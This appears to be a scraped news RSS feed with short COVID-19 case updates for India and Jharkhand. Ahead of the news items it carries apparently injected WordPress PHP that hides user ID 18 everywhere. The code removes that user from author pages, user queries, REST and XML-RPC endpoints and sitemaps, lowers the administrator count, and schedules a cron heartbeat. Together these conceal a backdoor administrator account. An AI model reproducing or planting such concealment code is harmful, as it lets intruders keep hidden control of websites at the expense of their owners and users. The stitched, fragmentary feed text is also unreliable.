add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Coronavirus: India has reported 2,897 new COVID-19 cases in 24 Hours appeared first on The Edge Media.
]]>
As per the government, active cases are for 0.05 percent of total infections, with a national COVID-19 recovery rate of 98.74 percent. In the last 24 hours, the active COVID-19 caseload has decreased by 143 cases. According to the ministry, the daily positivity rate was 0.95 percent and the weekly positivity rate was 0.82 percent.
The post Coronavirus: India has reported 2,897 new COVID-19 cases in 24 Hours appeared first on The Edge Media.
]]>The post Covid-19: India logs 11,850 new cases; daily toll tops 500 for 2nd straight day appeared first on The Edge Media.
]]>
The country also gained 11,850 new illnesses, down more than 5% from yesterday, bringing the total case count to 34,426,036, according to the ministry’s daily bulletin. Kerala alone recorded 6674 infections and 471 deaths (59 new+412 backlogs) among the new cases and deaths. As a result, the southern state was responsible for more than 56% and 86% of the most recent daily infections and deaths, respectively.
The post Covid-19: India logs 11,850 new cases; daily toll tops 500 for 2nd straight day appeared first on The Edge Media.
]]>The post In the Last 24 Hours, India has Reported 25,072 New Cases, the Lowest Number in 160 Days. appeared first on The Edge Media.
]]>With 389 mew fatalities in the last 24 hours, the death toll has risen to 434,756. Meanwhile, there are 3,33,924 active cases, accounting for 1.03 percent of all instances. The recovery rate is at its highest since March 2020, at 97.63 percent.
The post In the Last 24 Hours, India has Reported 25,072 New Cases, the Lowest Number in 160 Days. appeared first on The Edge Media.
]]>The post Jharkhand Records New Covid-19 Cases appeared first on The Edge Media.
]]>The greatest death rate at seven was recorded by Ranchi. East Singhbhum and Deoghar and Dhanbad had two fatalities recorded. There are 7,307 ongoing cases in Jharkhand, whereas 3,26,597 recovered. The regeneration rate among patients with Covid-19 increased to 96.36 percent by 92.50 percent on average.
The post Jharkhand Records New Covid-19 Cases appeared first on The Edge Media.
]]>